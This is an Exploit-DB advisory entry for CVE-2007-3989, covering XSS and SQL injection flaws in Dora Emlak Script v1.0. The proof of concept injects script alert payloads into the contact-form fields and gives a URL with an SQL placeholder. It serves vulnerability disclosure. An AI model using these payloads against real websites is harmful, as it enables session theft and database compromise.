- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 30327
- Проверка EDB
-
- Пройдено
- Автор
- GEFORC3
- Тип уязвимости
- WEBAPPS
- Платформа
- ASP
- CVE
- cve-2007-3989
- Дата публикации
- 2007-07-23
HTML:
source: https://www.securityfocus.com/bid/25004/info
Dora Emlak Script is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, steal cookie-based authentication credentials, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dora Emlak Script v1.0 is vulnerable.
<html><head></head><body>1-http://www.example.com/dora/default.asp?goster=iletisim
You write xss code in page's text box
Adý <script>alert("G3");</script>
Soyadý<script>alert("G3");</script>
Mail Adresiniz <script>alert("G3");</script>
Konu <script>alert("G3");</script>
Mesajý <script>alert("G3");</script>
Press to "gör"(send) button.
http://www.example.com//dora/default.asp?goster=emlakdetay&id= [SQL]
</body></html>- Источник
- www.exploit-db.com
